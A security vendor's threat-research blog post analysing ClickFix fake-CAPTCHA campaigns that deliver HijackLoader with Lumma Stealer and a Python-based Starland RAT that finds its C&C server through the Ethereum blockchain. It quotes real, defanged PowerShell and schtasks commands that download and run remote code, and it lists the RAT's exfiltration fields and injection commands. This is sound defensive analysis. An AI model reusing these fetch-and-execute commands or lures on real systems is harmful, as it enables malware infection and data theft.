ClickFix Reloaded: From Large-Scale HijackLoader Infections to Stealthy EtherHiding RATs

Table of Contents

1. Executive Summary
2. The Shift in Social Engineering: From Silent Infections to Required User Interaction
   1. Browser developers strengthened their products
3. The ClickFix Takeover
   1. The same copy-and-paste workflow proved effective enough to be adapted beyond conventional malware deployment
4. HijackLoader Deploys Lumma Stealer From Malicious MSIs
5. Initial Access
6. Execution
7. Defense Evasion
8. Command and Control
9. Starland RAT – New Infection Chain and New Commands
10. Initial Access
11. Execution
12. Defense Evasion
13. Command and Control
    1. Starland RAT Command Set
14. Persistence and Discovery
15. Where Does ClickFix Go From Here?
16. XDR platform Cynet
    1. Get Cynet Demo

Executive Summary

Over the past several years, ClickFix attacks have established themselves as a widely used social engineering technique. The method became successful enough to inspire another attack model known as ConsentFix, which enables threat actors to steal cloud account tokens. As ClickFix gained visibility and defensive detections improved, the technique continued to evolve and adapt.

Cynet identified several threats taking advantage of the broader ClickFix trend, including HijackLoader and Starland RAT. The latter uses EtherHiding to obtain its C&C URL. The HijackLoader campaign appeared at significant scale in both Cynet telemetry and publicly available OSINT. Like other HijackLoader activity, the campaign relied on malicious PowerShell commands delivered through ClickFix. Those commands retrieved an MSI package containing the loader. A newer Starland RAT variant was also deployed through ClickFix. In that case, the attack created a scheduled task that launched a malicious PowerShell command. The command ultimately executed malicious Python bytecode, which contacted its C&C infrastructure to receive additional instructions.

This analysis examines two campaigns detected in the wild. The first was a broad HijackLoader operation concealed inside trojanized MSI installers. The second was a lower-volume Starland RAT campaign that retrieved its C&C address directly from the Ethereum blockchain. The campaigns demonstrate how a technique based on something as simple as copying and pasting a command can be combined with increasingly advanced evasion mechanisms. Those mechanisms range from sideloading through legitimate binaries to blockchain-based C&C resolution. As a result, ClickFix should be treated as a broader attack technique rather than viewed exclusively as a malware delivery method.

The Shift in Social Engineering: From Silent Infections to Required User Interaction

Only around a decade ago, vulnerabilities in Internet Explorer, Chrome, and Adobe Flash were being exploited at considerable scale. Exploit kits such as Rig and Angler EK dominated that period and were responsible for a substantial share of malware infections. Their effectiveness came from the ability to identify the browser or Flash version running on a target system, select an appropriate exploit, and execute malware without requiring the user to deliberately download or double-click a payload. These drive-by compromises were particularly effective because they demanded very little user interaction, which is highly advantageous for an infection mechanism.

For a period, social engineering appeared to be losing relevance while browser exploitation seemed positioned to become the dominant initial-access method. Threat actors no longer had to persuade users to perform suspicious actions. Exploit kits could automatically execute malicious activity through JavaScript embedded in compromised websites. However, the model of silent exploitation at scale eventually became increasingly difficult to sustain.

Browser developers strengthened their products

Adobe announced the end of life of Flash, and exploit kits gradually lost their relevance. The prospect of reliably infecting systems without any user participation largely disappeared. Social engineering therefore retained an important position in the cyber threat landscape, since human behavior remained one of the most exploitable elements in security.

As browser exploitation declined, threat actors increasingly returned to techniques that required interaction from users rather than relying on silent compromise. Office macros later experienced a temporary resurgence as attackers developed new ways to persuade users to enable them. That changed significantly in 2022, when Microsoft made the decision to block macros by default in Office documents downloaded from the internet.

The prevalence of malicious macros dropped again. Attackers consequently shifted toward other delivery mechanisms, including LNK files, ISO files used to bypass Mark of the Web (MotW), and the long-established double-extension technique. In the latter case, users could be led to believe that they were opening a .docx document while actually executing an .exe file.

These methods still depended heavily on deception. Frequently, the lure attempted to create urgency by referring to an unexpected invoice, bank transfer, or similar event. The larger trend was nevertheless becoming obvious. Whenever technical opportunities for compromise became more restricted, threat actors developed new methods for persuading users to perform the action required to complete the attack. ClickFix transformed that required action from opening a suspicious file into supposedly resolving a technical problem.

The ClickFix Takeover

During the last several years, a technique known as ClickFix has rapidly gained prominence across the threat landscape. According to a Microsoft report published last year, 47% of the initial-access methods observed by Microsoft involved ClickFix. That figure placed the technique ahead of long-established methods such as phishing. The concept behind ClickFix is straightforward. Internet users routinely encounter CAPTCHA challenges on websites, particularly as automated and ШІ-powered browsing becomes more common. Threat actors exploit that familiarity by presenting a fraudulent CAPTCHA that copies a malicious command into the clipboard and instructs the user to press a short sequence of keys. The process requires relatively little effort from either side of the interaction, which is likely one of the main reasons for its effectiveness. ClickFix campaigns also begin without dropping a file and can initially resemble legitimate user activity. Recent Cynet research showed that ClickFix-based activity can progress to hands-on-keyboard access within minutes. This illustrates how quickly an apparently simple interaction can escalate into a complete compromise.

The same copy-and-paste workflow proved effective enough to be adapted beyond conventional malware deployment

Rather than using a fake technical fix to execute a malicious payload, attackers began applying the technique to cloud-account compromise. This development led to ConsentFix, also referred to as AuthCodeFix.

ConsentFix attacks frequently begin with SEO poisoning or malvertising that redirects a user to a landing page requesting authentication with a Microsoft account. Selecting the authentication option opens a genuine Microsoft sign-in page, which makes the process appear trustworthy. At a later stage, however, the authorization process fails. The supposed “fix” is then introduced. The user is instructed to copy the failed redirect URL, which often points to a nonexistent localhost address, and submit it to the malicious website. That URL contains an OAuth authorization code. The attackers can exchange the code for tokens and subsequently access the compromised Microsoft account. This access can be used to enumerate the environment, compromise corporate email, and perform further malicious actions. No malware needs to be installed on the endpoint for the account takeover to succeed.

ConsentFix has not yet reached the scale associated with ClickFix. Nevertheless, a toolkit for hosting this type of attack has already appeared on the russian-language XSS hacking forum.

Timeline of ClickFix milestones

Oct 2023

Emergence

ClickFix via fake anti-bot pages;
Users tricked into running PowerShell.
Origins in ClearFake & EtherHiding.

Mar–Apr 2024

Naming & Scale

Proofpoint tracks TA571 & ClearFake waves;
Clipboard hijack + self-execution.
‘ClickFix’ term coined.

May–Sep 2024

Criminal Adoption

Technique spreads across cybercrime;
Lumma Stealer dominates campaigns;
Malvertising + fake CAPTCHA scale delivery.

Oct 2024–Feb 2025

APT Adoption

APT28, MuddyWater, Kimsuky adopt method;
Expansion into espionage ops signals maturity.

H1 2025

Widespread Impact

Top global initial-access vector;
~8% of blocked attacks;
47% of Defender IR notifications.

Late 2024–2025ent

Commoditization

Builder kits sold underground ($200–$1.5k/mo);
FileFix variant shifts to Explorer-based execution.

Dec 2025

ConsentFix

Push Security names ‘ConsentFix’;
OAuth grant hijack via Azure CLI;
Beats passwords, MFA & passkeys.

Most ClickFix landing pages currently rely on the same principle of familiarity. They commonly imitate Cloudflare or reCAPTCHA pages in order to look legitimate to unsuspecting users. The examples below represent common ClickFix templates identified in recent campaigns.

Cynet has encountered multiple ClickFix campaigns targeting customer environments. As both the frequency and variety of these attacks have increased, ClickFix has become an important area of investigation for understanding the technique and reducing the likelihood of successful compromise.

Two campaigns are examined in this article. One involved a HijackLoader operation that experienced a considerable increase in volume. The second was a more discreet ClickFix campaign that ultimately installed a Python-based RAT.

HijackLoader Deploys Lumma Stealer From Malicious MSIs

How staged PowerShell delivers a malicious MSI and executes side-loaded components

Initial Access & Staging

Start from ClickFix and PowerShell

Payload Delivery

Decode script and deliver malicious MSI

Side-loading & Execution

Load DLL and execute final components

In April, Cynet detected a HijackLoader ClickFix campaign that delivered Lumma Stealer through malicious MSI packages. These MSI files included legitimate and benign executables, including ESET’s free SysInspector utility. The malicious component was concealed inside a sideloaded DLL that was loaded by the signed ESET executable.

Multiple variations of similar ClickFix commands were associated with the campaign. These commands used lightweight PowerShell loaders to initiate the subsequent stages. Some variants also included fabricated comments inside the commands to reinforce the appearance that the instructions belonged to a legitimate CAPTCHA verification process.

Initial Access

As in other ClickFix attacks, the infection chain began with a fraudulent webpage instructing the user to execute a command on the local system to resolve an alleged error. The RAY-ID embedded in the command suggests that the page was probably impersonating Cloudflare. This would make the request appear more credible to an unsuspecting user.

The user then opened the Windows Run dialog and entered the supplied command. The following PowerShell command appeared across several customer environments during April:

iex(irm 85[.]11[.]161[.]198:9191 -UseBasicParsing) # RAY-ID:735428-SGTP5; Anti-bot autodetection 

The original website responsible for this specific infection was not available during the investigation. However, other ClickFix websites were identified serving closely related commands, using overlapping infrastructure, and distributing a similar MSI package.

Execution

The command above retrieved a lengthy PowerShell script from hXXp[://]85[.]11[.]161[.]198:9191/ through the Invoke-RestMethod cmdlet. The downloaded content was then executed directly in memory through Invoke-Expression. Once launched, the next stage wrote additional Base64-encoded PowerShell content into a PS1 file and executed that file. This represented the final PowerShell component of the infection chain. Its purpose was to retrieve another file from the C&C infrastructure. According to the script logic, the downloaded object could be either an .exe or an .msi file. In the infection examined by Cynet, the retrieved payload was an MSI package.

The MSI was installed silently. The /qn parameter was supplied so that no graphical interface would be displayed. The newly installed software was then launched immediately. In the analyzed infection, the MSI installed ESET SysInspector under the filename Celerity-Monitor.exe. A malicious DLL named sciter-x.dll was placed alongside it. When Celerity-Monitor.exe started, it loaded the malicious DLL.

Defense Evasion

The downloaded PowerShell script contained a large amount of harmless junk code intended to obscure its actual behavior. The junk instructions were extremely repetitive, however, which made the meaningful portion of the script relatively easy to distinguish. The relevant code was stored as a Base64 string inside a variable named $data. Unlike many PowerShell stagers, including the stages used earlier in this infection chain, this script relied on a COM object to retrieve the MSI file. Many attacks involving MSI packages abuse functionality in msiexec.exe that allows a remote MSI URL to be supplied directly. This campaign used a different approach. The attackers first downloaded the package independently through a less common PowerShell mechanism. The choice may have been intended to reduce the likelihood of detection.

The sciter-x.dll file appeared to have originally been a legitimate library that had subsequently been modified. The patched DLL read a file named filter-config.tmp and decrypted its contents. The configuration identified the name of a legitimate DLL that had to be loaded. In the analyzed case, that library was tapisrv.dll. After loading the legitimate DLL into memory, the malicious code replaced its contents with shellcode decrypted from the configuration file. Execution was then transferred to that shellcode. This approach can help bypass certain EDR detections because the shellcode executes inside the memory region of a legitimate module. It therefore avoids the need to allocate a new private memory region specifically for the malicious code.

Command and Control

After the shellcode began executing, several additional executable files were written to disk and launched. These included:

AppData\Roaming\winrepository_v2_0\Crisp.exe

and

 AppData\Local\Temp\EXEMessenger_net40.exe

Following execution, EXEMessenger_net40.exe attempted to establish communication with the IP address 91[.]84[.]123[.]231. By the time analysis took place, the remote server was no longer responding. The executable also repeatedly generated HTTP HEAD requests to http://example.com. This activity may have been intended to make the genuine C&C communication less conspicuous by mixing it with apparently benign HTTP traffic.

Starland RAT – New Infection Chain and New Commands

How ClickFix staging leads to PowerShell execution, blockchain C&C lookup, and attacker commands

Initial Access & Staging

Establish entry point and persistence

PowerShell Execution

Load staged script and deploy RAT

Command & Control

Resolve C&C URL and await commands

The second campaign differed considerably from the high-volume operation described above. Its activity was far more limited and was detected in only one customer environment. The infection ultimately deployed Starland RAT on the compromised system. The threat actor persuaded the user to execute a command that created a scheduled task. That task subsequently downloaded and installed a Python-based implant. The malware obtained its real C&C URL from the Ethereum blockchain through a technique known as EtherHiding.

Cynet first detected the activity in a customer environment in May 2026, before Cisco published its research. The Starland RAT version analyzed by Cynet appears to support several additional commands that were not present in the Cisco sample.

Initial Access

According to Cynet telemetry, the attack began with a command entered through the Windows Run dialog. The first evidence of the activity appeared in RunMRU registry telemetry. This registry location stores recently executed Run commands under: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU In this attack, the command entered into Run did not cause the PowerShell downloader to appear as a direct child process of explorer.exe. Instead, the command created a scheduled task configured to run every minute. The task then launched the PowerShell downloader. This mechanism may have helped the threat actor bypass detections designed to identify PowerShell processes launched directly by explorer.exe. The following command was observed:

schtasks /create /tr "powershell -C \"iex(irm 39e552145a32ab0a[.]fun/88c9b4d0fd9a9d0033d3757cde345302)\"" /sc minute /mo 1 /tn                                "Enter"   

Execution

When the scheduled task executed, it launched a PS1 file located in the AppData\Local\Temp directory. The script then ran a Base64-encoded PowerShell command designed to retrieve the next stage. The final PowerShell stage downloaded a ZIP archive. The archive contained a Python project, a bundled Python interpreter, and a .pyc file named LICENSE.txt.

Defense Evasion

The PowerShell stages responsible for downloading the ZIP archive relied on relatively simple obfuscation methods. These included reversed strings and string concatenation used to conceal suspicious command fragments. The final payload, LICENSE.txt, was substantially more obfuscated. It was a PYC file containing extensive string and identifier obfuscation. The bytecode was decompiled with PyLingual. Additional scripts were then used to recover strings encrypted through XOR with several different keys. Analysis of the reconstructed source code exposed particularly notable functionality. The payload appeared to be a custom RAT that implemented the technique known as EtherHiding. Under this approach, the malware retrieved its C&C URL from the Ethereum blockchain. Storing the real server location in this manner made it more difficult to determine the active C&C infrastructure after the incident. The RAT performed this lookup through the eth_call method using Polygon RPC endpoints. The response contained the hidden payload URL.

Command and Control

After obtaining the concealed C&C URL, the RAT initialized and collected information about the infected environment. The gathered data was transmitted to the C&C server. The malware then remained available to receive additional instructions. The initial information was packaged into JSON using the following structure:

{ 

"build_id": "captcha",  

"payload_version": "5.1",  

"pc_id": machine_guid,  

"windows_version": windows_version,  

"machine_name": machine_name,  

"username": user_name,  

"av": av,  

"domain": domain,  

"can_elevate": not is_admin() and is_limited_token(),  

"screen": screenshot_in_base64 

} 

The JSON contained the machine GUID extracted from the registry, the Windows version, hostname, username, installed antivirus products, domain information, and an indication of whether privilege elevation was possible. It also included a PNG screenshot of the system encoded in Base64. After submitting this information, the RAT entered a command-waiting state. The following table lists the commands supported by the malware. Several of them were not included in the functionality previously documented by Cisco:

Starland RAT Command Set

Command	Description
shellexecute	Executes a command received from the C&C server.
x32	Injects 32-bit shellcode into dpapimig.exe using the standard VirtualAllocEx + WriteProcessMemory + QueueUserAPC sequence.
x32_v2	Injects 32-bit shellcode into prevhost.exe using Early Bird injection with QueueUserAPC.
x32_v3	Injects 32-bit shellcode into efsui.exe using Nt functions together with QueueUserAPC.
x32_v4	Injects 32-bit shellcode into systray.exe using VirtualAllocEx, Nt functions for writing and memory protection changes, and QueueUserAPC.
x64	Relaunches the 64-bit version of the code and supplies an argument specifying which shellcode-injection method should be used.
x64_2	Relaunches the 64-bit version of the code and supplies an argument specifying which shellcode-injection method should be used.
x64_3	Relaunches the 64-bit version of the code and supplies an argument specifying which shellcode-injection method should be used.
x64_4	Relaunches the 64-bit version of the code and supplies an argument specifying which shellcode-injection method should be used.
download	Retrieves a file from the C&C infrastructure. Executable files are launched. MSI packages are installed silently. DLL files are executed with regsvr32 /s. ZIP archives are extracted. Downloaded content is stored in %TMP%.
elevate	Attempts to restart the RAT with administrator privileges by triggering UAC. If the elevation attempt fails, the malware repeats the operation.
interactive_start	Starts an interactive shell and provides a choice between cmd and PowerShell.
botinfo	Collects host information through WMI, Windows APIs, registry queries, and additional commands. The collected information includes general system characteristics, disk drives, cloud-storage information, browser extensions, installed applications, and security configuration.
screenshot	Captures the current screen and stores the result as a PNG file.

Persistence and Discovery

After execution began, Cynet telemetry recorded multiple persistence and discovery operations originating from pythonw.exe. The malware first created an LNK file in the Windows Startup directory. That shortcut launched pythonw.exe together with LICENSE.txt. A scheduled task named MSIAfterInstall_7861 was then created. It was configured to execute LICENSE.txt whenever the user logged in. Once multiple persistence mechanisms had been established, the malware captured a screenshot and gathered a wide range of information from the system.

The collected information included:

1. Installed antivirus products.
2. Domain information.
3. Output generated by systeminfo.exe.
4. The currently logged-in user together with information obtained through net user.
5. System data retrieved through Win32_ComputerSystem, Win32_Processor, Win32_OperatingSystem, and Win32_ShadowCopy.
6. Available information about system restore points.
7. Installed applications recorded in the uninstall-programs registry locations.
8. Network configuration information, including IP and MAC addresses.
9. Firewall profiles and their configuration.
10. The state of the EnableLUA registry setting.
11. The current status of Windows Defender.

Where Does ClickFix Go From Here?

ClickFix has rapidly become a major component of the current threat landscape because of its simplicity and effectiveness. The reason for its success is understandable. Internet users are routinely required to prove that they are human. CAPTCHA challenges have become so common that their appearance often generates little suspicion. At the same time, CAPTCHAs continue to evolve and become more difficult as ШІ-powered bots increasingly browse and interact with websites at scale. Under these conditions, instructions asking a user to press several keyboard shortcuts may appear to be nothing more than an inconvenient additional verification step. For that reason, ClickFix is likely to remain relevant for the foreseeable future. Reducing the effectiveness of ClickFix attacks requires stronger public and employee awareness of the technique.

Phishing-awareness programs are already widely established. Many organizations use such training to help employees identify suspicious phishing activity before it develops into a costly security incident. A similar approach can be applied to ClickFix. Training should emphasize that legitimate CAPTCHA mechanisms do not normally require users to open Run, PowerShell, Terminal, or another system utility and execute commands. Education can therefore reduce the likelihood of successful ClickFix compromise at the human layer. However, ClickFix should not be treated exclusively as a malware-delivery problem. Techniques such as ConsentFix show that the same social engineering principles can also be used against cloud identities. Attackers can obtain authentication tokens without executing malicious code on the endpoint. As organizations continue migrating workloads and business processes toward SaaS and cloud services, security teams need to account for ClickFix-style attacks that target identities with the same intensity traditionally directed at endpoints.

XDR platform Cynet

Cynet brings EDR, EPP, NDR, ITDR, SOAR, email security, SaaS and cloud protection, mobile security, and other security capabilities together in a single unified platform. It provides comprehensive visibility and protection across the entire environment, can be deployed within hours rather than weeks, automates routine security tasks to reduce manual effort, and uses built-in AI to minimize false positives and accelerate threat detection and response.

Get Cynet Demo

I agree to the privacy policy